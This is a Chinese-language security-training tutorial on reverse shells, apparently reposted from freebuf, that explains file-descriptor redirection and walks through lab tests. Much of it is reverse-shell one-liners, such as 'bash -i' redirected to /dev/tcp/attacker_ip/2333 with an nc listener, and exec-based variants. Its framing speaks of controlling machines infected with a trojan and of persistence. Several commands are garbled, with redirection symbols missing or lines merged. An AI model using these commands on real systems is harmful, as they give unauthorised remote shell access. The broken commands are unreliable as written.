当前位置:网站首页 > 网络安全培训 > 正文

教你玩转反弹shell

freebuffreebuf 2021-05-08 279 0

本文来源:观安信息

反弹shell(reverse shell)

就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

深入理解文件描述符和重定向才能更好弄懂反弹shell。

场景

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.目标机器的ip动态改变,你不能持续控制。

3.建立一个服务端让恶意程序主动连接,持久化。

4.防火墙受限,不能由外向内建立连接(不接受外部连接)。(通过传输层协议的全双工通信实现交互)

备注:

全双工传输 (Full-Duplex Transmissions)

交换机在发送数据的同时也能够接收数据,两者同步进行,这好像我们平时打电话一样,说话的同时也能够听到对方的声音。目前的交换机都支持全双工。

单工数据传输只支持数据在一个方向上传输;在同一时间只有一方能接受或发送信息,不能实现双向通信,举例:电视,广播,计算机与打印机之间的通信是单工模式。

半双工数据传输允许数据在两个方向上传输,但是,在某一时刻,只允许数据在一个方向上传输,它实际上是一种切换方向的单工通信;在同一时间只可以有一方接受或发送信息,可以实现双向通信。举例:对讲机。

WIKI的定义

全双工(full-duplex)的系统允许二台设备间同时进行双向数据传输。一般的电话、手机就是全双工的系统,因为在讲话时同时也可以听到对方的声音。全双工的系统可以用一般的双向车道形容。两个方向的车辆因使用不同的车道,因此不会互相影响。

实验

测试一:

攻击端:

[root@attacker]# nc -lvp 2333            //第一步 Connection from victim_ip:38712 docker0: flags=4099UP,BROADCAST,MULTICAST>  mtu 1500         inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255         ether XXXXXXXXXX  txqueuelen 0  (Ethernet)         RX packets 0  bytes 0 (0.0 B)         RX errors 0  dropped 0  overruns 0  frame 0         TX packets 0  bytes 0 (0.0 B)         TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0  eth0: flags=4163UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500         inet 172.22.181.6  netmask 255.255.240.0  broadcast 172.22.191.255         inet6 fe80::216:3eff:fe0e:9d06  prefixlen 64  scopeid 0x20link>  //测试结果:实现了将受害端的标准输出重定向到攻击端,但是还没实现用命令控制受害端。

受害端:

[root@victim]# bash -i > /dev/tcp/attacker_ip/2333  //第二步 [root@victim]# ifconfig                //第三步 [root@victim]#

测试二:

攻击端:

[root@attacker]# nc -lvp 2333         //第一步 Connection from victim_ip:38286 hostname                   //第三步(攻击端执行命令) id whoami

受害端:

[root@victim]# bash -i  /dev/tcp/attacker_ip/2333    //第二步 [root@victim]# hostname     attacker [root@victim]# id uid=0(root) gid=0(root) groups=0(root) [root@victim]# whoami root [root@victim]#  //测试结果:实现了将攻击端的输入重定向到受害端,但是攻击端看不到命令执行结果。

底层原理

输出重定向 >,相当于 1>,输入重定向 ,相当于0,如果要使用错误输出,写成 2>。

例如,把正确的结果放到test.txt,而把错误的结果放到test2.txt文件中:

在正常输入的命令结尾加上2>将标准输出改成标准输入:

靶机:

cat  /dev/tcp/attacker_ip/2333
qwer
asdf

攻击机:

nc -lvp 2333 
Connection from victim_ip:23610
qwer
asdf

在攻击机传输的内容会被重定向到靶机。

输入重定向原理:

掌握了上面的原理,可以随意构建反弹shell命令:

攻击:

nc -lvp 2333

靶机:

bash -i 0 /dev/tcp/ip/2333 1> /dev/tcp/ip/2333 1> /dev/tcp/ip/2333 >>filename
# 为了读写"filename", 把文件"filename"打开, 并且将文件描述符"j"分配给它.
# 如果文件"filename"不存在, 那么就创建它.

eg:

exec 655359> File    

>/dev/tcp/attacker_ip/2333  # 第二步
[root@victim]# cat >/dev/tcp/attacker_ip/2333;cat do $line;done
uid=0(root) gid=0(root) groups=0(root)
-bash: 11: command not found

受害机的文件描述符同步读取到攻击机的写入并通过shell脚本执行;

page4:

受害机的文件描述符同步读取到攻击机的写入并通过shell脚本执行后返回到文件描述符。

exec 65534>/dev/tcp/attacker_ip/2333;catdo $line 2>done

总结

掌握了原理,可以写出各种变形,例如:

exec 8>/dev/tcp/attacker_ip/2333;bash&8 >&8 2>&8

大家可以自由发挥。

参考资料

Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH

使用NetCat或BASH创建反向Shell来执行远程执行Root命令--上文翻译

linux exec与重定向

转载请注明来自网盾网络安全培训,本文标题:《教你玩转反弹shell》

标签:shellshell工具

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表